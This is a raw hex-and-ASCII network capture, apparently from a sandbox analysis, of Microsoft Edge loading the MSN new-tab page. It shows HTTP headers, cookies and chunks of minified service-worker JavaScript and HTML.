https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _C_Auth=; pglt-edgeChromium-dhp=2083; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=F7B66E0F99774EE4994A9572D133A3C9.RefC=2025-01-11T06:54:29Z; USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; MUIDB=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=79ce19f4-5d97-4e79-bde7-86678df03e68; ai_session=4GQ3I+JGTtsRdJFn4pBfwj\|1736578471570\|1736578471570; sptmarket_restored=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=F7B66E0F99774EE4994A9572D133A3C9.RefC=2025-01-11T06:54:29Z; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:34 UTC	1426	IN	HTTP/1.1 200 OK Cache-Control: no-cache Transfer-Encoding: chunked Content-Type: application/javascript Content-MD5: xkYuE3wFd96UmOvXHVXasQ== Last-Modified: Fri, 10 Jan 2025 20:39:44 GMT ETag: 0x8DD31B6EA9E31D7 Vary: Origin x-ms-request-id: 0aba0028-701e-001c-159f-63e91d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Akamai-Request-BC: [a=23.52.41.141,b=119078172,c=g,n=US_IL_CHICAGO,o=20940] Server-Timing: clientrtt; dur=1, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.52.41.141 Akamai-Request-ID: 718fd1c Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Service-Worker-Allowed: / report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.8d293417.1736578474.718fd1c X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 9873622DBA104BB3B14221524A1149AD Ref B: CHI30EDGE0306 Ref C: 2025-01-11T06:54:34Z Date: Sat, 11 Jan 2025 06:54:33 GMT Connection: close
2025-01-11 06:54:34 UTC	3164	IN	Data Raw: 63 35 35 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 29 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 29 64 65 66 69 6e 65 28 5b 5d 2c 74 29 3b 65 6c 73 65 7b 76 61 72 20 73 3d 74 28 29 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 73 29 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 3a 65 29 5b 6e 5d 3d 73 5b 6e 5d 7d 7d 28 73 65 6c 66 2c 28 28 29 3d 3e 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 Data Ascii: c55!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict
2025-01-11 06:54:34 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 42 61 73 65 50 61 67 65 4e 61 76 41 67 65 4d 69 6e 75 74 65 73 3d 22 73 73 72 42 61 73 65 50 61 67 65 4e 61 76 41 67 65 4d 69 6e 75 74 65 73 22 2c 65 2e 65 6e 61 62 6c 65 57 69 64 67 65 74 73 52 65 67 69 6f 6e 3d 22 65 6e 61 62 6c 65 57 69 64 67 65 74 73 52 65 67 69 6f 6e 22 2c 65 2e 64 69 73 61 62 6c 65 44 65 66 61 75 6c 74 4e 61 76 69 67 61 74 69 6f 6e 52 6f 75 74 65 3d 22 64 69 73 61 62 6c 65 44 65 66 61 75 6c 74 4e 61 76 69 67 61 74 69 6f 6e 52 6f 75 74 65 22 2c 65 2e 64 69 73 61 62 6c 65 52 69 76 65 72 4e 65 74 77 6f 72 6b 46 69 72 73 74 3d 22 64 69 73 61 62 6c 65 52 69 76 65 72 4e 65 74 77 6f 72 6b 46 69 72 73 74 22 7d 28 70 7c 7c 28 70 3d 7b 7d 29 29 3b 63 6f 6e 73 74 20 67 3d 5b 22 65 6e 61 62 6c 65 4e 65 74 77 6f 72 6b 46 69 72 Data Ascii: 2000BasePageNavAgeMinutes="ssrBasePageNavAgeMinutes",e.enableWidgetsRegion="enableWidgetsRegion",e.disableDefaultNavigationRoute="disableDefaultNavigationRoute",e.disableRiverNetworkFirst="disableRiverNetworkFirst"}(p\|\|(p={}));const g=["enableNetworkFir
2025-01-11 06:54:34 UTC	3799	IN	Data Raw: 65 64 30 0d 0a 70 64 61 74 65 22 29 29 61 77 61 69 74 20 65 28 7b 63 61 63 68 65 4e 61 6d 65 3a 6c 2c 6f 6c 64 52 65 73 70 6f 6e 73 65 3a 70 2c 6e 65 77 52 65 73 70 6f 6e 73 65 3a 6f 2e 63 6c 6f 6e 65 28 29 2c 72 65 71 75 65 73 74 3a 72 2c 65 76 65 6e 74 3a 74 68 69 73 2e 65 76 65 6e 74 7d 29 3b 72 65 74 75 72 6e 21 30 7d 61 73 79 6e 63 20 67 65 74 43 61 63 68 65 4b 65 79 28 65 2c 74 29 7b 63 6f 6e 73 74 20 73 3d 60 24 7b 65 2e 75 72 6c 7d 20 7c 20 24 7b 74 7d 60 3b 69 66 28 21 74 68 69 73 2e 5f 63 61 63 68 65 4b 65 79 73 5b 73 5d 29 7b 6c 65 74 20 6e 3d 65 3b 66 6f 72 28 63 6f 6e 73 74 20 65 20 6f 66 20 74 68 69 73 2e 69 74 65 72 61 74 65 43 61 6c 6c 62 61 63 6b 73 28 22 63 61 63 68 65 4b 65 79 57 69 6c 6c 42 65 55 73 65 64 22 29 29 6e 3d 46 28 61 77 61 Data Ascii: ed0pdate"))await e({cacheName:l,oldResponse:p,newResponse:o.clone(),request:r,event:this.event});return!0}async getCacheKey(e,t){const s=`${e.url} \| ${t}`;if(!this._cacheKeys[s]){let n=e;for(const e of this.iterateCallbacks("cacheKeyWillBeUsed"))n=F(awa
2025-01-11 06:54:34 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 3e 22 63 61 63 68 65 57 69 6c 6c 55 70 64 61 74 65 22 69 6e 20 65 29 29 7c 7c 74 68 69 73 2e 70 6c 75 67 69 6e 73 2e 75 6e 73 68 69 66 74 28 44 29 7d 61 73 79 6e 63 20 5f 68 61 6e 64 6c 65 28 74 2c 73 29 7b 63 6f 6e 73 74 20 6e 3d 73 2e 66 65 74 63 68 41 6e 64 43 61 63 68 65 50 75 74 28 74 29 2e 63 61 74 63 68 28 28 28 29 3d 3e 7b 7d 29 29 3b 6c 65 74 20 61 2c 72 3d 61 77 61 69 74 20 73 2e 63 61 63 68 65 4d 61 74 63 68 28 74 29 3b 69 66 28 72 29 3b 65 6c 73 65 20 74 72 79 7b 72 3d 61 77 61 69 74 20 6e 7d 63 61 74 63 68 28 65 29 7b 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 26 26 28 61 3d 65 29 7d 69 66 28 21 72 29 74 68 72 6f 77 20 6e 65 77 20 65 28 22 6e 6f 2d 72 65 73 70 6f 6e 73 65 22 2c 7b 75 72 6c 3a 74 2e 75 72 6c 2c 65 Data Ascii: 2000>"cacheWillUpdate"in e))\|\|this.plugins.unshift(D)}async _handle(t,s){const n=s.fetchAndCachePut(t).catch((()=>{}));let a,r=await s.cacheMatch(t);if(r);else try{r=await n}catch(e){e instanceof Error&&(a=e)}if(!r)throw new e("no-response",{url:t.url,e
2025-01-11 06:54:34 UTC	1250	IN	Data Raw: 34 64 62 0d 0a 63 74 6f 72 2e 22 2c 22 2f 77 65 61 74 68 65 72 2d 63 61 72 64 2d 77 63 2e 22 2c 22 2f 77 65 6c 63 6f 6d 65 47 72 65 65 74 69 6e 67 4c 69 67 68 74 2e 22 2c 22 2f 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 78 6d 6c 62 75 69 6c 64 65 72 32 5f 6c 69 62 5f 78 6d 6c 62 75 69 6c 64 65 72 32 5f 6d 69 6e 5f 6a 73 2e 22 5d 2c 68 65 3d 5b 22 2f 62 61 63 6b 67 72 6f 75 6e 64 2d 67 61 6c 6c 65 72 79 2e 22 2c 22 2f 63 61 72 64 2d 61 63 74 69 6f 6e 73 2d 77 63 2e 22 2c 22 2f 63 68 61 6e 6e 65 6c 2d 64 61 74 61 2d 63 6f 6e 6e 65 63 74 6f 72 2e 22 2c 22 2f 63 68 61 6e 6e 65 6c 2d 73 74 6f 72 65 2e 22 2c 22 2f 63 6f 64 65 78 2d 62 69 6e 67 2d 63 68 61 74 2e 22 2c 22 2f 63 6f 6d 6d 6f 6e 2e 22 2c 22 2f 63 6f 6d 6d 6f 6e 2d 63 73 63 6f 72 65 2e 22 2c 22 2f 63 6f Data Ascii: 4dbctor.","/weather-card-wc.","/welcomeGreetingLight.","/node_modules_xmlbuilder2_lib_xmlbuilder2_min_js."],he=["/background-gallery.","/card-actions-wc.","/channel-data-connector.","/channel-store.","/codex-bing-chat.","/common.","/common-cscore.","/co
2025-01-11 06:54:34 UTC	4043	IN	Data Raw: 66 63 34 0d 0a 32 5f 6d 69 6e 5f 6a 73 2e 22 5d 2c 75 65 3d 5b 22 2f 77 69 64 67 65 74 73 2d 72 65 67 69 6f 6e 2e 22 2c 22 2f 73 70 6f 72 74 73 2d 69 6e 66 6f 2e 22 2c 22 2f 73 70 6f 72 74 73 2d 6d 61 74 63 68 2d 6c 69 73 74 2e 22 2c 22 2f 73 70 6f 72 74 73 2d 69 6e 66 6f 2d 75 74 69 6c 73 2e 22 2c 22 2f 6d 6f 6e 65 79 2d 69 6e 66 6f 2e 22 2c 22 2f 6d 6f 6e 65 79 2d 71 75 6f 74 65 2d 76 65 72 74 69 63 61 6c 2d 77 61 74 63 68 6c 69 73 74 2e 22 2c 22 2f 6d 6f 6e 65 79 2d 69 6e 66 6f 2d 73 65 72 76 69 63 65 2e 22 2c 22 2f 74 72 61 66 66 69 63 2d 63 61 72 64 2d 77 63 2e 22 5d 3b 6c 65 74 20 64 65 3b 66 75 6e 63 74 69 6f 6e 20 70 65 28 29 7b 72 65 74 75 72 6e 20 64 65 7d 76 61 72 20 67 65 3d 2f 5c 73 2f 3b 76 61 72 20 66 65 3d 2f 5e 5c 73 2b 2f 3b 63 6f 6e 73 Data Ascii: fc42_min_js."],ue=["/widgets-region.","/sports-info.","/sports-match-list.","/sports-info-utils.","/money-info.","/money-quote-vertical-watchlist.","/money-info-service.","/traffic-card-wc."];let de;function pe(){return de}var ge=/\s/;var fe=/^\s+/;cons
2025-01-11 06:54:34 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 6f 3d 63 2e 72 65 70 6c 61 63 65 28 22 73 70 61 6c 69 6e 6b 3a 22 2c 22 22 29 2e 72 65 70 6c 61 63 65 28 22 2f 64 65 62 75 67 22 2c 22 22 29 29 3b 63 6f 6e 73 74 20 68 3d 6f 7c 7c 22 6c 61 74 65 73 74 22 2c 75 3d 65 2e 6d 61 70 28 28 65 3d 3e 7b 63 6f 6e 73 74 20 73 3d 65 2e 75 72 6c 2e 73 70 6c 69 74 28 22 2f 22 29 3b 72 65 74 75 72 6e 20 73 5b 34 5d 3d 68 2c 65 2e 75 72 6c 3d 60 24 7b 74 7d 24 7b 73 2e 6a 6f 69 6e 28 22 2f 22 29 7d 60 2c 65 7d 29 29 2c 64 3d 6e 7c 7c 5b 5d 2c 70 3d 73 7c 7c 5b 5d 3b 6c 65 74 20 67 3d 75 3b 72 65 74 75 72 6e 20 70 2e 6c 65 6e 67 74 68 26 26 28 67 3d 75 2e 66 69 6c 74 65 72 28 28 65 3d 3e 70 2e 73 6f 6d 65 28 28 74 3d 3e 65 2e 75 72 6c 2e 69 6e 63 6c 75 64 65 73 28 74 29 29 29 29 29 29 2c 64 2e 6c 65 6e Data Ascii: 2000o=c.replace("spalink:","").replace("/debug",""));const h=o\|\|"latest",u=e.map((e=>{const s=e.url.split("/");return s[4]=h,e.url=`${t}${s.join("/")}`,e})),d=n\|\|[],p=s\|\|[];let g=u;return p.length&&(g=u.filter((e=>p.some((t=>e.url.includes(t)))))),d.len
2025-01-11 06:54:34 UTC	4154	IN	Data Raw: 31 30 33 32 0d 0a 70 72 67 2d 77 70 6f 2d 69 6e 66 6f 70 72 6d 2d 63 74 72 6c 22 21 3d 65 29 29 2e 6a 6f 69 6e 28 22 2c 22 29 3b 6e 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 73 65 74 28 22 66 64 68 65 61 64 22 2c 65 29 7d 5b 22 73 77 22 2c 22 65 64 67 45 78 70 4d 61 73 6b 22 5d 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 6e 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 64 65 6c 65 74 65 28 65 29 29 29 7d 72 65 74 75 72 6e 20 65 2e 73 74 72 69 70 4c 6f 63 61 74 69 6f 6e 26 26 5b 22 6c 6f 63 61 74 69 6f 6e 22 5d 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 6e 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 64 65 6c 65 74 65 28 65 29 29 29 2c 65 2e 69 73 46 75 72 74 68 65 72 4e 6f 72 6d 61 6c 69 7a 65 64 46 6f 72 46 65 65 64 43 61 6c 6c 26 26 28 5b 22 63 62 79 70 61 73 73 22 2c Data Ascii: 1032prg-wpo-infoprm-ctrl"!=e)).join(",");n.searchParams.set("fdhead",e)}["sw","edgExpMask"].forEach((e=>n.searchParams.delete(e)))}return e.stripLocation&&["location"].forEach((e=>n.searchParams.delete(e))),e.isFurtherNormalizedForFeedCall&&(["cbypass",
2025-01-11 06:54:34 UTC	8200	IN	Data Raw: 32 30 30 30 0d 0a 3c 31 65 33 2a 74 68 69 73 2e 5f 6d 69 6e 43 61 63 68 65 41 67 65 53 65 63 6f 6e 64 73 29 72 65 74 75 72 6e 20 74 7d 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 73 74 61 6c 65 57 68 69 6c 65 52 65 76 61 6c 69 64 61 74 65 53 74 72 61 74 65 67 79 2e 68 61 6e 64 6c 65 28 65 29 7d 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 47 6f 74 20 61 20 6e 75 6c 6c 20 72 65 73 70 6f 6e 73 65 20 66 72 6f 6d 20 74 68 65 20 63 61 63 68 65 22 29 7d 29 29 2e 63 61 74 63 68 28 28 28 29 3d 3e 74 68 69 73 2e 5f 6e 65 74 77 6f 72 6b 46 69 72 73 74 53 74 72 61 74 65 67 79 2e 68 61 6e 64 6c 65 28 65 29 29 29 7d 7d 63 6f 6e 73 74 20 53 74 3d 38 36 34 30 30 2c 78 74 3d 35 31 38 34 65 33 2c 6b 74 3d 22 6f 66 66 69 63 65 22 3b 66 75 6e 63 74 69 6f 6e 20 50 74 28 65 Data Ascii: 2000<1e3*this._minCacheAgeSeconds)return t}return this._staleWhileRevalidateStrategy.handle(e)}throw new Error("Got a null response from the cache")})).catch((()=>this._networkFirstStrategy.handle(e)))}}const St=86400,xt=5184e3,kt="office";function Pt(e
2025-01-11 06:54:34 UTC	15	IN	Data Raw: 61 0d 0a 64 65 26 26 28 73 65 6c 66 2e 0d 0a Data Ascii: ade&&(self.

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.11.20	64969	204.79.197.203	443

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:54:34 UTC	1527	OUT	GET /edge/ntp?locale=en-US&title=New+tab&OCID=MNHP_U531&enableForceCache=true HTTP/1.1 Host: ntp.msn.com Connection: keep-alive sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99" Device-Memory: 8 sec-ch-ua-model: rtt: 150 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "94.0.992.31" sec-ch-ua-platform-version: "10.0.0" downlink: 10 sec-ch-ua-bitness: "64" ect: 4g sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _C_Auth=; pglt-edgeChromium-dhp=2083; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=F7B66E0F99774EE4994A9572D133A3C9.RefC=2025-01-11T06:54:29Z; USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; MUIDB=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=79ce19f4-5d97-4e79-bde7-86678df03e68; ai_session=4GQ3I+JGTtsRdJFn4pBfwj\|1736578471570\|1736578471570; sptmarket_restored=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=F7B66E0F99774EE4994A9572D133A3C9.RefC=2025-01-11T06:54:29Z; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2025-01-11 06:54:34 UTC	8449	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 53639 Content-Type: text/html; charset=utf-8 Set-Cookie: _C_ETH=1; expires=Fri, 10 Jan 2025 06:54:34 GMT; domain=.msn.com; path=/; secure; httponly Set-Cookie: _C_Auth= Set-Cookie: sptmarket_restored=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/ Set-Cookie: USRLOC=; expires=Mon, 11 Jan 2027 06:54:34 GMT; domain=.msn.com; path=/; secure; samesite=none; httponly Set-Cookie: _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; domain=.msn.com; path=/; httponly Access-Control-Allow-Methods: HEAD,GET,OPTIONS Content-Security-Policy: child-src 'self';connect-src 'self' .mavideo.microsoft.com arc.msn.com assets.msn.com assets2.msn.com assets.msn.cn assets2.msn.cn browser.events.data.msn.com browser.events.data.msn.cn browser.events.data.microsoftstart.com browser.events.data.microsoftstart.cn business.bing.com/api/ usgov.business.bing.com/api/ cdn.hubblecontent.osi.office.net copilotexplore.azurewebsites.net events-sandbox.data.msn.com events-sandbox.data.msn.cn events-sandbox.data.microsoftstart.com events-sandbox.data.microsoftstart.cn finance-services.msn.com https://.sharepoint.com/_api/v2.0/ https://.sharepoint-df.com/_api/v2.0/ https://.sharepoint.com/_api/v2.1/ https://*.sharepoint-df.com/_api/v2.1/ https://bingretailmsndata.azureedge.net/msndata/ https://browser.pipe.aria.microsoft.com/Collector/ https://dev.virtualearth.net/REST/v1/Imagery/ https://dev.ditu.live.com/REST/v1/Imagery/ https://ecn.dev.virtualearth.net https://jsconfig.adsafeprotected.com https://g.bing.com https://msx.bing.com https://pet [TRUNCATED] X-Robots-Tag: noindex X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1 X-UA-Compatible: IE=Edge;chrome=1 x-fabric-cluster: pmeprodeus nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.5} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]},{"group":"csp-endpoint","max_age":86400,"endpoints":[{"url":"https://deff.nelreports.net/api/report"}]} Strict-Transport-Security: max-age=1209600; includeSubDomains; preload Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA, Sec-CH-Viewport-Width, Sec-CH-Viewport-Height, Sec-CH-Prefers-Color-Scheme, Device-Memory, Downlink, ECT, RTT, Sec-CH-DPR X-Ceto-ref: 678215aa37d0423eb84d08fc369251b2\|AFD:8E6F404802614117A52C4D98A9D251F8\|2025-01-11T06:54:34.494Z X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 8E6F404802614117A52C4D98A9D251F8 Ref B: CHI30EDGE0117 Ref C: 2025-01-11T06:54:34Z Date: Sat, 11 Jan 2025 06:54:34 GMT Connection: close
2025-01-11 06:54:34 UTC	698	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 20 3e 0d 0a 3c 68 65 61 64 20 64 61 74 61 2d 69 6e 66 6f 3d 22 66 3a 6d 73 6e 61 6c 6c 65 78 70 75 73 65 72 73 2c 70 72 67 2d 73 70 2d 6c 69 76 65 61 70 69 2c 70 72 67 2d 66 69 6e 2d 63 6f 6d 70 6f 66 2c 70 72 67 2d 66 69 6e 2d 68 70 6f 66 6c 69 6f 2c 70 72 67 2d 66 69 6e 2d 70 6f 66 6c 69 6f 2c 70 72 67 2d 31 73 77 2d 63 63 2d 63 61 6c 66 65 65 64 69 63 2c 61 64 73 2d 63 66 76 34 2c 31 73 2d 70 6e 70 66 65 64 6c 6f 63 63 66 2c 70 6e 70 77 78 65 78 70 69 72 65 33 36 30 2c 62 69 6e 67 5f 76 32 5f 73 63 6f 70 65 2c 70 72 67 2d 31 73 77 2d 73 61 63 66 78 32 74 63 2c 70 72 67 2d 31 73 77 2d 73 61 2d 63 61 70 63 6f 6e 66 33 74 Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr" ><head data-info="f:msnallexpusers,prg-sp-liveapi,prg-fin-compof,prg-fin-hpoflio,prg-fin-poflio,prg-1sw-cc-calfeedic,ads-cfv4,1s-pnpfedloccf,pnpwxexpire360,bing_v2_scope,prg-1sw-sacfx2tc,prg-1sw-sa-capconf3t
2025-01-11 06:54:34 UTC	436	IN	Data Raw: 70 6f 2d 70 72 67 32 2d 65 76 6c 63 66 70 63 61 70 32 2c 31 73 2d 77 70 6f 2d 70 72 67 32 2d 65 76 6c 63 67 64 64 6e 2c 31 73 2d 77 70 6f 2d 70 72 67 32 2d 65 76 6c 63 74 33 2c 70 72 67 2d 31 73 77 2d 62 67 2d 70 32 2c 70 72 67 2d 31 73 77 2d 63 6d 65 76 6c 74 2c 70 72 67 2d 70 32 2d 74 66 2d 62 64 67 70 76 2d 61 69 2c 70 72 67 2d 70 72 32 2d 66 69 65 70 6c 63 2c 70 72 67 2d 70 72 32 2d 74 72 66 2d 72 68 69 67 68 69 6d 70 2c 70 72 67 2d 70 72 32 2d 77 78 65 76 6f 6c 6e 6f 74 69 2c 70 72 67 2d 75 70 73 61 69 70 2d 77 31 2d 74 2c 31 73 2d 72 70 73 73 65 63 61 75 74 68 74 2c 6a 6a 5f 66 61 63 5f 63 2c 70 72 67 2d 63 67 70 32 2d 68 6f 74 74 32 2c 31 73 2d 63 67 2d 70 32 68 6f 74 33 2c 70 72 67 2d 31 73 77 2d 64 61 69 6c 79 70 6f 70 2c 70 72 67 2d 31 73 77 2d Data Ascii: po-prg2-evlcfpcap2,1s-wpo-prg2-evlcgddn,1s-wpo-prg2-evlct3,prg-1sw-bg-p2,prg-1sw-cmevlt,prg-p2-tf-bdgpv-ai,prg-pr2-fieplc,prg-pr2-trf-rhighimp,prg-pr2-wxevolnoti,prg-upsaip-w1-t,1s-rpssecautht,jj_fac_c,prg-cgp2-hott2,1s-cg-p2hot3,prg-1sw-dailypop,prg-1sw-
2025-01-11 06:54:34 UTC	4096	IN	Data Raw: 2c 31 73 2d 73 68 70 2d 72 63 2d 74 65 2d 63 72 63 66 61 32 2c 31 73 2d 73 68 70 2d 72 63 2d 74 2d 74 32 69 76 31 2c 31 73 2d 73 68 70 2d 72 63 2d 74 74 2d 74 32 69 76 31 2c 70 72 67 2d 73 68 2d 66 72 6e 72 63 2c 70 72 67 2d 77 78 2d 64 68 67 72 64 2c 70 72 67 2d 73 68 2d 64 65 61 6c 73 64 61 79 70 64 70 2c 70 72 67 2d 73 68 2d 72 6d 69 74 6d 6c 6e 6b 2d 63 2c 6e 6f 70 69 6e 67 6c 61 6e 63 65 63 61 72 64 69 74 2c 70 72 67 2d 63 67 2d 69 6e 67 61 6d 65 73 2d 78 6e 2d 61 64 73 2c 70 72 67 2d 63 67 2d 69 6e 2d 67 6d 2d 78 6e 2d 61 64 73 2c 70 72 67 2d 31 73 2d 77 6f 72 6b 69 64 2c 31 73 2d 6d 78 72 2d 6e 74 70 70 61 67 65 2d 63 2c 31 73 2d 6d 78 72 2d 77 69 6e 66 65 65 64 2c 31 73 2d 74 65 6d 70 2d 77 69 64 2d 74 2c 70 72 67 2d 31 73 2d 74 77 69 64 2c 61 64 Data Ascii: ,1s-shp-rc-te-crcfa2,1s-shp-rc-t-t2iv1,1s-shp-rc-tt-t2iv1,prg-sh-frnrc,prg-wx-dhgrd,prg-sh-dealsdaypdp,prg-sh-rmitmlnk-c,nopinglancecardit,prg-cg-ingames-xn-ads,prg-cg-in-gm-xn-ads,prg-1s-workid,1s-mxr-ntppage-c,1s-mxr-winfeed,1s-temp-wid-t,prg-1s-twid,ad
2025-01-11 06:54:34 UTC	4096	IN	Data Raw: 6f 74 3b 64 6f 6d 61 69 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 6e 74 70 2e 6d 73 6e 2e 63 6f 6d 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 6f 63 69 64 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 4d 4e 48 50 5f 55 35 33 31 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 72 65 71 75 65 73 74 54 72 61 69 6c 49 6e 66 6f 26 71 75 6f 74 3b 3a 7b 26 71 75 6f 74 3b 66 6c 69 67 68 74 56 65 72 73 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 35 33 35 30 35 32 33 37 26 71 75 6f 74 3b 7d 2c 20 26 71 75 6f 74 3b 64 65 74 65 63 74 69 6f 6e 26 71 75 6f 74 3b 3a 7b 26 71 75 6f 74 3b 69 70 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 31 38 35 2e 32 34 36 2e 32 30 39 2e 30 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 74 69 65 72 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 26 71 75 6f 74 3b Data Ascii: ot;domain":"ntp.msn.com", "ocid":"MNHP_U531", "requestTrailInfo":{"flightVersion":"53505237"}, "detection":{"ip":"185.246.209.0", "tier":"p"
2025-01-11 06:54:34 UTC	4096	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 28 6f 29 2e 63 61 74 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 6f 6e 73 74 20 69 3d 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6f 29 3f 74 5b 6f 5d 3a 32 3b 69 66 28 31 3d 3d 3d 69 26 26 28 6e 2e 70 3d 6e 2e 70 2e 72 65 70 6c 61 63 65 28 22 2f 61 73 73 65 74 73 2e 22 2c 22 2f 61 73 73 65 74 73 32 2e 22 29 29 2c 69 3c 31 29 74 68 72 6f 77 20 65 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 5b 6f 5d 3d 69 2d 31 2c 65 28 6e 2e 65 28 6f 29 29 7d 29 2c 31 30 30 29 7d 29 29 7d 29 29 7d 7d 7d 28 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 6e 26 26 76 6f 69 64 20 Data Ascii: ){return e(o).catch((function(e){const i=t.hasOwnProperty(o)?t[o]:2;if(1===i&&(n.p=n.p.replace("/assets.","/assets2.")),i<1)throw e;return new Promise((function(e){setTimeout((function(){t[o]=i-1,e(n.e(o))}),100)}))}))}}}(),function(){if(void 0!==n&&void
